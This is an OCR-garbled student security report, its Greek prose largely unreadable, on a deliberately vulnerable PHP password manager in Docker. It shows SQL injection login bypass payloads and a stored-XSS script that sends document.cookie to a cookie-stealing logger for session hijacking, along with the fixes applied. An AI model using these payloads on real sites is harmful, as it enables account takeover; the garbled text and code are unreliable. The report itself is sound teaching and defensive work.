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Acgdheior TTONOYIOTIXWY LUC TNUATWY Epyaocioa E€aurvou

1. EmxArorg

H aogdheia twv mANpopopLoxmy cuoTnudteny anotekel xplowo mapdyovio 6Tov oyediaoud xan T Aettoupyia
oUYYPOVWY BIXTLUXWY eQapUoY®Y. Idlaitepa egapuoyéc mou diayeipilovton euvalcdnta dedouéva, OTKS xWBXOUS
TEOGBAOTE, TEOCWTIXES TANEOYORIEC XaL LMo TELTHELX TEOCPBAoNS, AMOTEAOLY CUYVO GToYo emécewy. H
EXUETANAEUCT] EUTTIELDY OE TETOLEG EQUPUOYES UTOREL Var 081 YHoEL 08 GOBoEC TaEUBLACELS EUTLO TEVTIXOTNTIC,
AXEQAUOTNTOS Xl OLIECLUOTNTAC TWV DEDOUEVHV.

Yxomodg TNne mopoloog epyaciog elvon 1 UEAETY), AVABELEN XoL AVTIIETOTION XEVOY ACPIAELS OE ol amhy) Bladi-
xtuot) e@appoyY dyelptong xwdixwy tpdofBacne (password manager). H eqapuoy auth, av xat Aertoupyixd
enapxc, Vhomolel Baoixég Aettovpyleg ywels vo Aopfdvel unddn Jeueindelc apyéc acpdheiag hoyiopxon. Méoo
amé TNV AVAAUCT] TRAYHATIXWY oevaplny enticong, N epyaoio oTtoyedel vor xotadellel TG Qouvouevind uxpéc
Tapaheldelc 6ToV XM UTopoLy Vo odnyoouy ot colopé eundieles.

H npocéyyion mou axohoudeiton elvon mpaxtuixr xan mewpopotixt|. Apyixd dnuiovpyeitar éva eheyyouevo TeplBdh-
AoV EXTENEONG TNG EQUPUOYTG. 2T CUVEYELX EVTOTULOVTOL XO EXUETUAAEVOVTAL CUYXEXQUIEVOL XEVE OCPIAELOG,
TEXUNPELOVOVTOL Ol ETUTTWOELS TOUG Xl TENOC TpoTelvovTal xou LAomololvtal dopdwtixd pétea. Me tov tpbdmo
QUTO ETUTUYYBAVETOL TOCO 1) XUTAVONOY) TV UNYAVIOUOY ETMIEOC OG0 oL 1) EUTEDWOCT) XAADY TEUXTIXWYV OGP
hoUg avdnTung hoylouixoo.

1.1. IMopadotéa

Tao nopadotéa tng epyaciog anotehodvTol Amod:
e Trv mapoloo avapopd.
e Tov xatdroyo

e To clvdeopo ue to anodeThplo Tou TEPLEYEL OAO TO project Ue TOV xWMOXA TNG EQPAPUOYNS, TOV XWOLXA
NG AVaPORAS, TI DLOPUMOELS XAl TOL TURUBOTEN.

2. IIEPIr'PA®H THY E®APMOTHY

H egopuoyr mou ueketdton anotelel éva amhé web-based password manager, vionomuévo oe PHP xou pe
xerion oyeotaxic Bdong dedopévwy MySQL. H Bacix| tne Aettoupyia nepuhopBdver tn dnutovpyia Aoyoplaoumy
XENOTOY, TNV audevTIXoTonoY| Toug xaL TNV amodixeuo Slamo TeuTNElnY TEdcPacng ot TeiToug BLaBIXTUUXOUS
tomoug. H eqappoyy Bacileton oe session management yio tn Slayelplon g xatdotaong olvdeone xou oe
armhéc SQL evtohéc yio Tnv alknhenidpaot pe tn Bdor Sedopévmv.
H dour| tng epapuoyhc elvon amhr| xou aroteelton and doxpltd apyeio PHP, xardéva ex tev onolwy elvon unebiuvo
YLOL CUYXEXQUWEVY] AELTOLRYIXOTN T
o index.html: Apywn| oehido Tng eqopuoyhc, 1 omolo Tapéyel GUVBEGUOUS TROG TIG EMUEPOUS AelToupYieg
(eyypapt, olVdeST), Tivaxac EAEYYOU, ONUEWDCELS).
o register.php: Thomolel T Swadacia eyypapnc VEwY yenotwy otr Bdor dedouévwy. Aéyeton otolyelo and
popua xan Toe amoInxedel GToV Tvaxa YENoTGV.

e login.php: Thonoiel tn Swodxacia audevtixonoinong yenotov. EAEyyel ta mopeyOUeva SLOmLO TEUTAELAL XoUL
onuLoupYel session oe Mep(MTWON EMTUYOUC GUVOECT.

o dashboard.php: Amotekel Tnv xevtpiny| oehida puetd ) cvvdeon. Iapéyel T duvatéTnTa TEOBOANS, Eloa-
YOYNS xou dlarypapic anoInxeLuévemy BlmoTEUTNEIWY Yo LOTOGEAIDES.

e notes.php: Emitpénel tnv anodixeuon xou TpoBoAY GNUELDCENY 1) AVAXOWOOEWY Tou oyeT{ovTal Ue TOV
XefoT.

o logout.php: Teppotilel tn cuvedpla ypnotn xou xatacTEéPel To dedouéva session.

o config.php: lepiéyel tic pudploeig clvdeong Ue TN BAon BEBOUEVLY Xl YENOUOTOLELTOL amd To UTOAOLTL
apyelo péow include.
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3. ITIEPIBAAAON AOKIMON KAI META®OPA IE Docker

ITpw TNy avdAuo TV xevey acpdietag xplinxe anapaltnto vo dnuioveyniel €vo EAEY Y OUEVO Yol AVATAUEAY WY UYLO
nepBdhiov doxumyv. Avtl tng yenong tou mpotewouevou mepBdihoviog XAMPP, emhéydnxe n uetogpopd
(porting) g eappoyic ot nepBdiiov Docker, to omolo Yewpeiton mo alyypovn xou suéhixtn Abon.

H emhoyr Tou Docker emitpénel tnv axpi3 xadodrynomn 1oy exdOcewy AoYLoUIx0) TOU YENOWOTOL0VTL, TNV
e0XOAN avamopay®YY) Tou TeYBAAAOVTOC OE BLUPORETIXA CUCTHUATO XAl TOV COPY| DlayweloUd TwV ETYEPOUS
UTNEECLAOV. LUYXEXPUIEVA, 1) EQopUOYT BlaywploTnxe oe B0 containers: évav web server (Apache ue PHP) xou
évav database server (MariaDB).

Kotd tn Swbixacia petagpopds amountiidnxoy oplouévee o ToYEUREVES ahAUYES:

o Aayeipion HTTP headers xou sessions: Ye avtideon ue to XAMPP, 1o nepi3dihov Docker ypnot-
wornotel awotnedTepes puluioeic 6cov agopd Ty anoctol) HT'TP headers. Autéd anoxdiue tpofifuarto
ot poYy Tou xHduxa, dmov HTML output nponyolvtav xhfoewy énwe session_ start() xou header(). H
Noom fray 1 avadLdtadn Tou xddxa, Mo Te OAN 1 Aoy EAEYYOU ot ovaxateDYUVONG VoL EXTENELTAL TTELY
a6 onowdrrote HTML output.

e YuuBatotnTa Yapaxtiewy xou collation Bdong dedowévwv: H apyuxn Bdorn dedouévev yenot-
wonowloe latinl encoding, o onolo tpoxdieoe c@diyata oe cUYYpoves exdooelc MariaDB. H Abon nou
emhéyOnxe YTav 1) eEAdyLo TN TPOTOTOMOY) TOL aEYEloL apyixonoinong TNe Bdong WO Te Vo YENoYLOTOLETOL
utf8mb4, dwutnecvtag xatd Toe Aotmd To apyixd schema.

e AnoO7xevon dedouevwy Bdong: I'a v anoguyn dnuovpyiag ThRdouc apyeiwv otov xatdhoyo
Tou project, ypnowonoufinxe Docker named volume yia to data directory tng MariaDB. Me tov tpémo
T emTUYYAvETUL Xordoer) dour| €pyou xan UoVIUT ano¥ixeucT deEBOUEVKY.

O mapamdvey ahhary€e ATay amoADTWS avoryXoleg Yiol T1 owo T Aettoupyia TNG €QapUoYHc OE GUYYPOVO TEQL-
Bdhhov, yoweic vor ahholdvouv T Aoyixh 1) Tn dour| TN apyixhc vhomoinong.

3.1.  Anuovpyia xou extérecT) TNG EQUEUOYTS

[ty extéleon xou Soxun Tng egapuoyrc oto tepiBdiiov Docker anavteiton n Umopén eyxateatnuévou Docker
xar Docker Compose oto clotnua. Agod Angldel o mnyaiog x@doag g epapuoyic and to anovethplo, 1
oaduxaoio exxivnong elvon TAHEWS AUTOUATOTONUEVT).

H dnuovpyla tov anopaltntwy images xat 1 exxivnon TeV containers mpoyOTOTOLEITOL UE TNV EVIOAY:
docker compose up -d --build

Me tnv mopoandve eviol) dnwovpyeitor to image tou web server (Apache ye PHP), exoavelton n unnpeoia
¢ Bdong dedopévey MariaDB xou exteleiton autouata to apyelo apyixomoinong tne Bdong dedouéveyv. Ta
dedouéva g PBdong armodnxebovtar oe Docker named volume, elacgoiiCovtag tn diatrenon toug peTtagd
EMAVEXAWVCEWY TKV containers.

Metd v emituyy| exxivnon, n egapuoyy| ebvon mpoofdown péow web browser ot dieduvon:
http://localhost/passman

[ Aoyoug Boxudv xou avdiuorng, eivon eniong duvath n anevdelac npdcloocr otn Bdorn dedouévev yéow
TEQUATIXOU, YENOUOTOLWVTAS TNV EVIOAY:

docker compose exec db mariadb -uroot -prootpass
Méow tng mapandve npécBoaong etvan duvaty] 1 extéreon SQL evtohwv yia v emPBefalwon tng xatdotaong

e Bdong dedouévwy, xadmdg xon 1 TEXUNRIOOY TWV ETMTTOOEWY ETIECEWY ot dlop¥wTix®Y TapeUdoewy Tou
ToEoLCLAoVTaL GTo ETOUEVO TUARUAT TNE epyaolog.
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4. SQL Injection

To mpwto xevd acpdhreiog mou e€etdleton agopd tnv eunddeia oe emdéoec SQL Injection. H eundieiar autn
TEOXUTTEL OTAY OEBOUEVA IOV TAUREYOVTOL Ao TOV YeNo TN evowuoatwvovial ancudeiog oe SQL evtokéc, ywplc
XatdhAnhn emixdpwaon 1 yerion unyoviopody mapopetponoinone (prepared statements). Anotéleoya ebvar o
emtidéuevog va umopel vor addoldoel T Aoywr) Tou SQL query, odnydvtag oe un eovclodotnuévn npdofaon
1/ %o Suappor| BEBOUEVELV.

Yy egapuoyn, 1 eundideio evtonileton o moAAd onueior xou mopdTl Yo Ta Aboouue Oha €8¢ mopardéTouue
WS TapddeLypa TNV gundlelor 6to login.php, xadde autd elvon (owg ot mo cofapd. H eloodog tou yehotn
(username/password), 6TwS QAVETOL 0TO ATOCTACHUA TAUPAXATL, ElodyeTon amevieiog oto query avdevtixonoi-

nonc wéow string concatenation.

$sql_query =

"SELECT * FROM login_users WHERE username='{$username}' AND password='{$password}';";
// The SQL query is constructed by directly concatenating user-controlled input.

// This enables SQL injection, because the attacker can break out of the quoted string

// and inject additional SQL conditions (e.g., OR 1=1), bypassing authentication.

Y10 ouyxexpévo onuelo, To TEplEYdUEVO TwV PETUPBANTOY Susername xon $password dev vgioToTon xavéEvoy
éheyyo 1 escaping. Enopévwe, évac emtdéuevoc unopel va ewodyer ewldixole yapaxtipes (m.y. ') xouw SQL
tehectéc (m.y. OR) wote vo mapoxduder tn ouvdfixn avdeviixonoinone.

@ Login Form X @ Dashboard x

< C [l @ localhost/passman/login.php < C [] @ localhost/passman/dashboard.php

Entries of ul' OR '1'="1

Password Manager

www.fest.com

ul’' OR "1'=11

Username: tom Password: tompass

Login

| Delete |

Register new user

Home page
ame

Password

| Insert new website

Notes - announcements

Home page

(') Pdgua otvdeons pe ewoaywyn xaxdfoviov payload oro medio (B") Emrvyhc modofaon otov mivaxa eléyyov perd amd SQL
username. imgjection.

SxApne 12 SQL Injection.

Yy Ewoéva 1o mapovsidleton 1 @opua cOvoeong, oTtnv omolo eiodyeton payload tng popprg ul' OR '1'='1
o7to nedlo username, ye owdalpetn T oto password. Me tov tpdno autd, 1 cuviixn Tou WHERE aAloldvetan
OoTE Vo ETOTEEPEL EYYPAUPES aveddpTnTo amd To TpayuaTixd password. XTn CcUVEYEL, O YENOTNG AmoxTd
npbofBaon otov mivaxa ehéyyou (dashboard), dnwe gaivetow otny Ewdva 15

H emituyhc expetddhevon tng eundielog punopel vo texuneiwiel xou o eninedo Bdong dedouévwy, Uéow Tou
general_log tng MariaDB, émou xotaypdpeton To TeEAMX6 query mou extehéctnxe amd tny egappoyn. H Ewdva 2
delyvel 6TL To query avdevTixonoinong mhéov mepléyel TV Teoo¥etn ouvirxn OR '1'='1", ue anotéhecua 1
audevtixonolnon vo umopel vor mopacopUet.

Téhog, otny Euxdva 3 tapoucidlovrar to tepleydueva tou Tivoxa login_users, emPeBatcyvovtog 6t 1 npdcfBaon
amoxthnxe ywelc va tpononomdolv ta dedouéva tne Bdone (dniadh mpdxeitar yio bypass Tou unyoviouo
audevuxomonong xou oyt yior ahhory)/etoaywyn Sedouévemv).

3
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SELECT * FROM mysql.general_log ORDER BY event_time DESC

SELECT * FROM websites INNER JOIN login_users ON websites.login_user_id=login_users.id WHERE login_users.username='ul' OR '1'='1"
root@172 .3 on pwd_mgr using TCP/IP

|

|

|

|

|

| login_users WHERE username="ul' OR '1'='1"' AND password='"whatever
| .3 on pwd_mgr using TCP/IP

| - C mysql.general_log ORDER BY event_time DESC
"
1

1 rows in set (0.002 sec)

MariaDB [(none)]> D

EyxApa 2: Kartayoapr tov telixod SQL query oty MariaDB (general log), dmov palverar 1 aldoiwon g ovvixns
avilevuixomoinons and o injected input.

Database changed
MariaDB [pwd_mgr]= SELECT id, username, password FROM login_users;

1 row in set (0.001 sec)

MariaDB [pwd mgr]= D

YyAua 3: Iegieydueva tov mivaxa login_users oty fdon Sedousvwr (smpefaiwon ér ta credentials magausvovy aue-
dpinra).

H ouyxexpuévn eundiewa Yempeliton woiaitepa cofapr|, xodog unovopuelel ThAfpws Tov unyaviowd audeviixonoln-
ong xou emTEENEL Un e€ouclodotnuévn npdoPacr ot evalo¥nto dedouéva. STo ENOUEVO TURUATA TOEOVCLALETAL 1)
AVTLIETOTLOY TNG UE Yeniom prepared statements, MoTe Tot BEBOUEVA TOU YEHO TN VOL UMV UTOPOUV VoL EXNEEAGOLY
™ oOvtaén e SQL evtohrc.

4.1.  Avtpetomnon SQL Injection

H avtipetomion tou SQL Injection Boactleton otn Yeuehcddn apyr| tou doywpeiopol dedouévawr and evtolés. To
TeOBANUA otV apyxr) LVAomoinom meoéxunte eneldy) To SQL query xotaoxevaldtoy YW AMAAC CUVEVLONS
(string concatenation) ye dedopéva nou napeiye o yprotne. Etot, ewdixol yapaxtApec xou terestéc SQL umo-
poloay va eloayPoly wg YEpog NG cUPBONOCELRAS, UE ATOTEAEGUA VO AAAOLOVETAL 1) GUVTOEN XU 1 AOYLXY TNG
SQL evtoirc.

H xorhepwuévn mpoxTtinf) avTiuetdmons, n onola mpotelveton 1000 amd TiC EMONUES 00NYIEC ACPAROUE -
duxornoinone (secure coding guidelines) éco xou and tov opyoviopé OWASP (Open Worldwide Application
Security Project), elvaw 1 yprion prepared statements ye napopétpouc (parameterized queries). Me ) yprion
prepared statements, o SQL server Aopfdver tpdta o statement (template) xow 6Tn cUVEYEL TIC TOUPUUETEOVS
w¢ dedoyéva, ywelc vo emitpénetan 1 epunvela Toug we tufpa e SQL olviaéne. Q¢ anotéheopa, onowdrtote
xax6Bouln eloodoc avtipetwnileton we amhd xelyevo (data) xaw oyt we exteréowo SQL.

4.2.  Tlomoinon tng dLopdwong

Y10 apyelo login.php avtixatao tdinxe 1 duvouixy dnuoveyia Tou SQL query e prepared statement xou bind
ToEUUETEWV. 10 Andonacpa 4.2 napouctdletar o dlopdwuévog xoddixac. H SQL evtolr opiletou pe placeholders
(7) xou ou tpéc Jusername xou $password nepvolv péow bind_ param(), HGOTE Vo UNV HTOPOVUY VAl ENNEEGCOUY
TN dout| TNG EVIOAAC.

// SQL injection mitigation: use a prepared statement with bound parameters.

// User input is treated strictly as data, not as part of the SQL syntax.

$stmt = $conn->prepare("SELECT id FROM login_users WHERE username = 7 AND password = ?");
if ($stmt === false) {
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die("Prepare failed.");
}
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$stmt->store_result();
// Authentication succeeds only if exactly one row matches.
if ($stmt->num_rows >= 1) {

$_SESSION['loggedin'] = true;

$_SESSION['username'] = $username;

$stmt->close();
$conn->close();

//

4.3. Emaifdevon tng duopdwong

H anoteheopatixotnta tng Slopdwone emBefoucddnxe melpauatixd ye to (o payload mou yenoiwwomouidnxe
otnv enidelln tng eundeloc. Xty Ewdva 4o gatveton 1 mpoondldeia obvdeong ue to injection string oto nedio
username. H eqoppoyn miéov anoppintel v mpoonddeia odvdeone xan eupoviler uivuuo anotuyloc, 6mwe
patveton oty Eudva 43",

@ Login Form X @ Login Form X
< > O [1 @ localhost/passman/login.php < e [l @ localhost/passmanjlogin.php
Password Manager Password Manager

[ Login | [ Log

) Invalid username or password
Register new user
Register new user
Home page -
Home page

(&) Aoty Tov (Brov SQL1 payload perd T didpdwon. (B") Amorvyia obvdéeone perd tn dibpdwon.

Exhua 4: SQL Injection: Fized.

Hepautépn emPefaiwon napéyetar and to logs tne Bdone (general log), 6mou aiveton 6TL 1 EVTOAH exTEAElTOL
w¢ TapaueTeononuévo statement pe placeholders xou 6yl w¢ query mou mepléyel evowuatwuévo to injected
payload. Xtnv Ewdva 5 napatnpeeiton n nopousia tng poppric username = ? AND password = 7, yeyovog mou
umodnhwvel 6T o server Aoufdvel To statement aveEdotnTa and tar dHedopéva £LGOB0L.

___________ e e e e e e e e e eeeaeee e
thread_id | argument

SELECT event_time,thread_id,argument FROM mysql.general_log ORDER BY event_time DESC
.597639
.597620
.597497
.597410

SELECT id FROM login_users WHERE username

= "ul\' OR \'1\ "1' AND password = 'whatever'
SELECT id FROM login_users WHERE username = ? AND passwor B

root@172.18.0.3 on pwd_mgr using TCP/IP

SELECT event_time,thread_id,argument FROM mysql.general_log ORDER BY event_time DESC

WwWwnnnnnw

.541009

Yy 5: Katayoapr) oty MariaDB uetd i 8idpdwon: extéleon magauetoomomuévov statement (2) avtl yia Svvauxd
XATATHEVAOYUEVD queTy.
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Yuvenwg, 1 yeron prepared statements e€okeipel 10 cuYXEXEWEVO %EVE aopdielag 6To onueio audevTixonol-
NoNG, BLATNEMVTAS TUEIAANAAL QUETABANTY TN AELTOLEYIXOTNTA TNS EQPAUPUOYYC.

4.4. Tleputépw onuela eundieiog oe SQL Injection

[Tépo amd To apyixd %EVO ACQIAELIC GTOV UNYAVIOUO aLUEVTIXOTOINONG, EVIOToTNXAY EMTAEOV ONUEio TNV
epapuoy”) 6mou SQL evtohéc xataoxeudlovTtoy SuVaIXE UEow GUVEVLOTS GUUBONOCELRGMY UE BEdOoUEVa TPOER-
YOUEVA amé Tov Yo TN 1) and session petofantéc. Ta onuela autd dnuiovpyolyv npdcietes empdveleg entdeong
%o xoo TOUY TNV EQpUOYY EVAWTY ot dueces 1) épuecee (second-order) emdéoeic SQL Injection.

4.4.1.  Evyypapnh véwv yenotov (register.php)

Yto apyclo register.php, 1 eyypapr| véou xeYioTn VAOTOLOLVTAY UE aneudelag EVOWUITWOT TwV TEdlWY username
xau password oe eviolr) INSERT. To Andéonaoua 4.4.1 nopovoldlel 1oV TROBANUATIXG XOOLXA.

// Vulnerable SQL construction: user-controlled input is concatenated directly.
$sql_query = "INSERT INTO login_users (username,password)

VALUES ('{$new_username}','{$new_passwordl}');";

$result = $conn->query($sql_query);

H npoxtixny auth emtpénel tnv ahholwon g SQL clvtadng péow xatdhining woédou, xahotdviog Suvath
v extéleon avdalpetwy SQL evioddv. H di6pdwon npayuatomoiinxe ue yeron prepared statements xon
OECUEVUEVWY TUPAUUETEWV.

4.4.2.  Anodixevon onuewroewy (notes.php)

Y10 notes.php, 1 amoVRAELOT) VEWY ONUELCEWY TEAYUATOTOLOUVTAY UE duvauLxY) xatooxeur] eviohic INSERT,
7 onola TEQAGUPBAVE TOCO TO TERLEYOUEVO TNG ONUEIONS 600 XU TO username Tou cUVBESEUEVOL Yerotrn. O
TEOBANUATIXNGS xOOWXoC atveton 6To Andomaoua 4.4.2.

// Vulnerable SQL construction: note content and session data are injected into SQL.
$sql_query = "INSERT INTO notes (login_user_id, note)

VALUES ((SELECT id FROM login_users

WHERE username='{$username}'), '{$new_note}')";

$result = $conn->query($sql_query);

[opdte T0 username mpoépyeton and session uetoSAnty, dev pnopel va Yewpeniel éunioto, xodde pnopel va
arlhowwiel oe oevdpla XSS 1 session hijacking. H dubpdwon Baciotnxe otn ypron prepared statements téco
YO TO UTOEPWTNUA OGO %ol YO TO TEQIEYOUEVO TNG oNueiwong.

4.4.3.  Awyelpion damoteutneiny wotooehidwy (dashboard.php)

Yto apyelo dashboard.php evtornictnxay toAlamhd onueioa SQL Injection mou agopolv TNy eloaywy, dorypopt
xau TeoPohy| anodnxeuuévey dlamoteutneleny. Evdeixtind, 1o Andonacua 4.4.3 Selyvel Tov tpémO €loaywyhc

VEOC EYYRAPC.

// Vulnerable SQL construction: multiple user-controlled fields concatenated.
$sql_query = "INSERT INTO websites (login_user_id,web_url,web_username,web_password)
VALUES ((SELECT id FROM login_users

WHERE username='{$username}'),

'{$new_website}', '{$new_usernamel}','{$new_password}');";

$result = $conn->query($sql_query);
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Avtictowya, n Swrypagn eyyeopny Baclldtay oe Suvouxd xataoxeLaouévr eviolr) DELETE, 6nwe @alvetal 6To
Anéonacyo 4.4.3.

// Vulnerable DELETE statement: identifier injected directly into SQL.
$sql_query = "DELETE FROM websites WHERE webid='{$webid}';";
$result = $conn->query($sql_query);

Téhog, axodun xo 1 teoforn g Motog dlamoteutneiwy Bactlotay oe SQL evtolr ye ancudeloag evowudtnon
session YeTofANTOV.

// Vulnerable SELECT statement: session data treated as trusted input.
$sql_query = "SELECT * FROM websites

INNER JOIN login_users

ON websites.login_user_id=login_users.id

WHERE login_users.username='{$usernamel}';";

$result = $conn->query($sql_query);

H cuvohixy| avtipetdnion twv nopamdve onueiwy Bactotnxe oty Bia apyn pe to apyxé SQL Injection, ét
xoplor T mou emnpedlel ) ovvtadn SQL evtolic dev evompatihvetor mAéov anevieiac oto query. Oha ta
TOEATAVE avTixaTao Tddnxay pe prepared statements xou deopcupéves Topouéteous, e€ahelpovtog T6c0 dueoa
600 xau épueca oevdpta SQL Injection. O avaryveotng umopel €6 va Peel To branch ye okeg Tic odharyég.

5. Stored XSS

H ouyxexpévn epopuoyn eivon eudhwtn oe Stored Cross-Site Scripting (Stored XSS) oe apxetd onueia. ‘Omneg
xo TTELY, oEyixd Yo eTXEVTEWIOUUE OF €VOL XL TO CUYXEXQWEVA O AUTO UECW TN AELTOLEYINC CMUEWDOEWY
(notes), HGOTE Vol TOPOUCIECOUPE TO TEOBANUA X0 TN TEYVIXT| AVTLUETMOTLONG, X0 ENELTO ol AVOPEPOUPE KoL TaL
unéhointa onuelo.

H eundleia mpoxmtel 6Tay TEPLEYOUEVO IOV ELGAYEL O YENOoTNG anoUnxeveTon 0T Bdon BEBOUEVWY oL G T GU-
véyeta npofdihetar — dovdy oe dANoUC YPHOTES — Ywplc XATEAANAT xwdxoroinon e£6dou (output encoding).
Q¢ anotéheoya, xaxodBovhog xwowag JavaScript umopel va exteleotel otov browser tou Yduoatog ye o Oi-
XOUOUATO TOU avT{OTOLYOU Session.

5.1. Root cause ctov xOOxa

Y10 notes.php, ov amodnxevuévec onueiwoelc tpoBdihovton ancudeiog péoa oe HTML ye yprjon echo, ywelc
escaping. Evbewtixd, 1o Andéonacpa 5.1 delyvel o npofAnuatind onueio: 1o $row["note"] (dedoyévo and
Bdom) Vewpeiton we éumioto xou etodyetar autovolo 6to DOM.

while ($row = $result -> fetch_assoc()) {
echo "<div class='note'>";

echo "<div class='note-content'>" . $row["note"] . "</div>";
echo  "<div class='note-signature'> by " . $row["username"] . "</div>";
//
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5.2. Attacker-side urodoun

[t Ty texuneivwon g enldeone, yenowonotinxe o utoxatdhoyog zss/ we “attacker side”. To getcookie.php
o€yeTan pio iy u€ow mopaUéTeou v xou TNV anodnxelel oto stolencookies.txt. Yt cuvéyela, To listcookies. php
epgavilel o “Uheppéva’ cookies, eved To usecookie. php emitpénel Ty enavayenoylonoinon toug (session hijacking
demonstration).

5.3. Xevdpio A: Stored XSS ye dueon eaywyr| cookie

Y10 mpwTo oeVdpLo oy onuelnwon Tou tepielye JavaScript payload, o onolo anoctéAel 1o document.cookie
otov attacker-side logger, 6nwc gaiveton mopaxdTe:

<script>fetch(Thttp://localhost/passman/xss/getcookie.php?v=${document.cookie} )</script>
Yy Ewéva 6 epgaviletar 1o anodnxeuuévo session cookie (PHPSESSID) otn Alota xhepuévwy cookies.

@ Notes - Comments @ List stolen cookies x

< C [l @ localhost/passman/xss/listcookies.php

List of 'stolen' cookies

1. PHPSESSID=2¢215dd41fe1090a5da5d0f3adcobatd

SxAra 6: Yevdowo A: Eupdmon tov “leuusvov” session cookie (PHPSESSID) uéow listcookies.php.

Kot tnyv mpofBoir tng oehidag, o browser extelel o payload xou nporypatorowet HI'TP request npog getcookie. php,
oTwe TexuneLdvetar oto logs tou web server (Ewdva 7).

ie.php?v=PHPSESSID=2c215dd41fe1090a5da5d0f3adcébab4 HTTP/1.1" 200 728 "http://localhost/passman/notes.php” "Mozi
(KHTML, like Gecko) 0.0 Safari/

+0000] "GET /passman/xss/listcookies.php HTTP/1 00 577 "http://localhost/passman/xss/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (
KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"

SxAre 72 Xevdoo A: Karayoapn oto web server mov Selyver HTTP request mpog /passman/xss/getcookie.php pe na-
odpetoo v=PHPSESSID=. . ..

5.4. Xevdpio B: IToparhoyy| payload e obfuscation

Y10 deltepo oevdplo yenowwononidnxe mopahhay payload mou emtuyydvelr tnv Bl Aettovpyio (e€orywyh
cookie) ahhd ye Sopopetint) poppt| (obfuscation), wote va xatodetydel bt o TEOBANUa dev neplopiletan o€
éva ouyxexpévo “uotifo” ewoaywyrc. H onueiwon mou yenowonouidnxeg etvou:

<script>eval ("u0061u006cu0065u0072u0074 (
1u0022u0058u0053u0053u0020u0075u0073u0069u006eu0067u0020u0065u0076u0061u006cu0022) ") ;
</script>

Yy Exova 8 gaivetar 6TL To cookie amoUnxedeton EMTUYMOS X0 GE QUTAHY TNV TEQITTWOT).

Yo logs (Ewéva 9) napatneeiton xou méh request npoc getcookie.php.
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@ Notes - Comments @ List stolen cookies %

< C [ @ localhost/passman/xss/listcookies.php

List of 'stolen’ cookies

1. PHPSESSID=2¢215dd4 1fe1090a5da5d0f3adcobat4
2. PHPSESSID=2¢215dd41fe1090a5da5d0f3adcobac4

YxApo 8: Yevdgio B: Karaypapn session cookie otn Alota xleppévawy cookies.

172.18.0.1 - - [11/3an/2026:12:04:18 +0000] "GET /passman/notes.php HTTP/1.1" 200 1353 "http://localhost/passman/notes.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/143.0.0.0 Safari/537
- [11/3an/202 0000] "GET /passman/xss/getcookie.php?v=PHPSES c215dd41fe1090a5das5d0f3adcébasd HTTP/1.1" 200 728 "http://localhost/passman/notes.php” "Mozi
86_64) Applelel 36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/53
- [11/3an/202 :04:25 +0000] "GET /passman/xss/listcookies.php HTTP/1.1" 200 584 "http://localhost/passman/xss/" "Mozilla/5.® (X11; Lin 6_64) ApplellebKit/537.36 (

KHTML, like Gecko) Chrome/143.6.0.6 1/537.36"
172.18.0.1 - - [11/3 4:46 +0000] "GET /passman/xss/listcookies.php HTTP/1.1" 200 582 "http://localhost/passman/xss/" "Mozilla/5.0 (X11; x86_64) AppleWebKit/537.36 (
» like Gecko) Chrome/143. ri/537.36"

SxApne 9: Yevdpio B: Kataypagn oto web server mov Selyver Ty emrvyn xinon tov getcookie.php amné to payload.

EnmBeBaiwon arodrxevong payload otn Bdon Enedy npdxerton yia stored XSS, to payload ano-
UnxedeTon o Bdon dedopévwy xan extelelton xdie popd mou mpofdiietan 1 cehida. Xty Ewdva 10 qatveton
OTL 0L XOXOBOVAES ONUELWOELS AmOUNXEVTNXAY GTOV Tvoxa notes.

MariaDB [pwd_mgr]> select * from notes;

PR -
| login_user_id | note

set (0.000 sec)

MariaDB [pwd_mgr]> D

EyApo 10: Katayoapsn otn pdon: anodnxevuéves onuedoes mov megiéyovy ta XSS payloads (persistent storage).

5.4.1. Session hijacking demonstration péocw usecookie.php

O avtixtunog g sundielog elvon Wialtepa coPapdc, xodoe To session cookie umopel vo yenowwonowmdel yio
mhaotonpoownia (session hijacking). Xtnv Ewdva 11a" gaivetar 1 yprion tov usecookie.php e mopduetpo to
xheppévo PHPSESSID. Ytn ouvéyela, 1 npdofaoct) o€ Tpoo tateupévn oehida tne eqapuoyhc (.. dashboard.php)
elvan ety g o yeRoTNe-Youa, onwe gatvetow otny Ewdva 115",

Me Bdomn ta mopandve, emPBefoumveton OTL 1 EQUPUOYT ETTEENEL AmOUAXEUCT] xou EXTEAEST] xaxoBoulou JS
XOOXA UETL TOU UNYOVICHOU CNUELWOEWY, UE AMOTEAECUN TOc0 TNV e€aywyn cookies 660 o TNV TEOXTIXN
enideln mhacTonpoowniog. XTo EMOUEVO TUAUNTA TUEOUCIALETOL 1] OVTWETOTION NG eundieiog ue context-
aware output encoding, \GTE T0 TEPEYOUEVO TNG BAoNe var avTILETOTILETU WE UN-EUTLOTO Kol Vo TEOBAAAETOU
UE ooQIAELaL.

5.5. Avtwetonorn Stored XSS cto notes.php

H avtpetdnion tou Stored XSS Baocileton oty apyn 6Tl omotodnmote mepieyduevo mpoégyetar amé tov yonoTn
n/xar ™) fdon dedouévar moéner va Jewpelrar un-dumoto. Btny apyn) VAOTOINGT], TO TEPIEYOUEVO TV CTUELD-
oewv eypovilotay ancudeiog oto HTML, ye amotéhecua o browser va to epunvevel w¢ markup xou vor extehet
TUYOV evowpatwpévo JavaScript. H xadepwpévn mpaxtind yioo tnv anotponry XSS oe HTML body context
elvon To context-aware output encoding, dSnhadh N xwdxonolinon eBxdY yopoxthowy (T.y. <, >, ", ') npw
and v meofoAt) Toug. Me autdv Tov TpoTO, axdun xan av ot Bdor undpyouv arodnxevuéva payloads, autd
TeoBdANovTaL OC AmAG XElUEVO xaL OEV efval BUVATOV VoL EXTEAECTOUV.
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@ Notes- Comments @ Testofusingastolencoo x t @ Notes - Comments @ Dashboard X
< o [l @ localhost/passman/xss/usecookie php?v=2c215dd41 < C [ @ localhost/passman/dashboard.php

Entries of ul
Test of using a stolen cookie ntries otu

Bypassing authentication and impersonating another user by using a stolen cookie www.test.com
Session ID is set to: PHPSESSID=2c215dd41fe1090a5da5d0f3adc6ba64
Username: ul Username: tom Password: tompass

Logged in flag: 1

‘ Delete ‘

If all above session parameters are defined, try accessing the dashboard

List cookies website

Username

Password
| Insert new website

Notes - announcements
Logout

Home page

